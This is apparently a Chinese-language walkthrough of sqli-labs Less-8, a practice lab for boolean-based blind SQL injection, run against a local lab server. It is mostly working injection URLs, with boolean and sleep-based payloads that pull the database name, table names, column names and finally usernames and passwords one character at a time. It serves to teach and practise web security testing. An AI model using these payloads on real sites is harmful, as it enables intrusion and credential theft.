Less-8
GET-盲注-基于布尔值-单引号
根据题目提示可知这是单引号注入且需要通过盲注进行通关,那么首先利用单引号看一下网页的回显:
测试是否是注入点
发现什么也没有,也就是说网页不会返回任何报错信息,也不会返回其他信息即没有任何回显信息,
Less1、5、7、8回显对比
Less | 注入方法 | 正确回显 | 错误回显 |
---|---|---|---|
1 | 基于错误注入 | 查询到的用户名和密码 | Mysql错误信息 |
5 | 双注入/盲注 | You are in........... | Mysql错误信息 |
7 | 导出文件注入 |
You are in.... Use outfile......
| You have an error in your SQL syntax |
8 | Bool型盲注 | You are in........... | 无任何信息 |
我们查看一下后台源代码:
结果很显然,虽然不会报错,但是可以通过正确回显和错误回显返回页面数据的不同进行对比,正确为true,错误为false,利用布尔盲注进行猜数据库信息。(不会的函数可参考Less-5)
1.利用 left(version(),1)进行尝试,查看一下 version(),当前环境数据库的版本号为 5.5.47 这里的语句的意思是看版本号的第一位是不是 5,明显的返回的结果是正确的。
http://192.168.33.1/sqli/Less-8/?id=1' and left(version(),1)=5 -- #
http://192.168.33.1/sqli/Less-8/?id=1' and left(version(),6)='5.5.47'-- # (PS:一般知道是5.x版本就可以了,不要那么详细也可以)
注)(在后面的关卡会详细说明,这里简单了解下):
其实我们在这一关中利用延时盲注也是可以的,如果查询语句为true,网页会很快进行回显,否则会延时(延时时间自己设定),然后网页才进行回显:
http://192.168.33.1/sqli/Less-8/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5)) -- #
http://192.168.33.1/sqli/Less-8/?id=1' and If(ascii(substr(database(),1,1))=116,1,sleep(5)) -- #
(延时5秒)
2.查看数据库的长度,长度为 8 时,正确回显,说明长度为 8.(知道了数据库长度可大大减少我们猜数据库名的时间)
http://192.168.33.1/sqli/Less-8/?id=1' and length(database())=8 -- #
3.猜测数据库第一位
http://192.168.33.1/sqli/Less-8/?id=1' and left(database(),1)>'r' -- #
http://192.168.33.1/sqli/Less-8/?id=1' and left(database(),1)>'s' -- #
我们知道后台数据库Database()为 security,所以我们看他的第一位是否 > r,很明显的是 s > r,因此正确回显。当我们不知情的情况下,可以用二分法来提高注入的效率。(注:他们的大小比较的是ASCII码的大小(ASCII码s:115 r:114))----(二分法不会的可自行百度,并不难理解)
接下来就继续猜测第三位,第四位。。。直到猜出正确的数据库
http://192.168.33.1/sqli/Less-8/?id=1' and left(database(),8)='security' -- #
4.利用 substr() ascii()函数进行猜解security数据库表
猜第一个表的第一个字符:(ASCII: 80-P 100-d 101-e 一般表名都是小写的,这里用80只是做个例子)
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80 -- #
页面回显正确
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 -- #
页面回显正常
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 -- #
页面回显错误
由此推断出securrity第一个表的第一个字符为e
PS---了解即可
要特别注意的是语句之间是一个空格,下面的案例就是 select和table_name之间就是多了一个空格导致返回异常,但有的时候又不会返回异常,烦死了,困扰了我一个多小时,2333,经过研究发现,如果对注入语句进行url编码,那么多几个空格都不会返回异常了,这种最保险。
在线url编码网站:http://tool.chinaz.com/tools/urlencode.aspx
对 ' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80-- #进行url编码:%27+and+ascii(substr((select++table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0%2c1)%2c1%2c1))%3e80--+%23
获取第一个表的第二个字符(ASCII码: 108-l 109-m):(采用二分法即可大大减少布尔盲注时间)
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>80 -- #
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108 -- #
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109 -- #
可推断出第一个表第二个字符为m
。。。
同理推出第3,4,5,6字符,最终推出emails表
5.猜数据库第二个表第一个字符(ASCII码 113-q 114-r):
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>80 -- #
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113 -- #
http://192.168.33.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114 -- #
由此可推出第二个表第一个字符为r
同理可推出第二个表的第3,4,5,6,7,8,最终推出referers表
接下来就是重复造轮子了,然后推出了uagents表,users表,id表,毫无疑问我们需要users表的信息
6.利用 regexp (正则表达式)获取security数据库中 users 表中的列名(字段名就是列名)
http://192.168.33.1/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^usern[a-z]' limit 0,1) -- #
http://192.168.33.1/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username[a-z]' limit 0,1) -- #
http://192.168.33.1/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) -- #
由此推出有字段username,接下来重复造轮子推出字段password
7.利用 ord()和 mid()函数获取 users 表的username字段内容 (ASCII码 68-D,0x20-空格,u-117 109-m 98-b 65-A)---ord()和mid()函数忘了请看前面文章: 盲注的讲解
http://192.168.33.1/sqli/Less-8/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))>65-- #
http://192.168.33.1/sqli/Less-8/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))>68-- #
http://192.168.33.1/sqli/Less-8/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68-- #
由此推出第一个用户名第一个字符为D,然后重复推出完整的用户名为Dumb
获取第二个用户名
http://192.168.33.1/sqli/Less-8/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 1,1),1,1))>65-- #
http://192.168.33.1/sqli/Less-8/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 1,1),1,1))=65-- #
由此推出第二个用户名第一个字符为A,然后重复推出完整的用户名为Angelina
.....然后重复造轮子,推断出13个用户名
8.利用 ord()和 mid()函数获取 users 表的password字段内容
与7步骤雷同,只需把7里面的语句username换成password即可。这里不再重复造轮子了。
=================== 我是分割线 =====================
布尔盲注耗费时间长,建议使用python脚本:
(暂未发现好的脚本,待补充)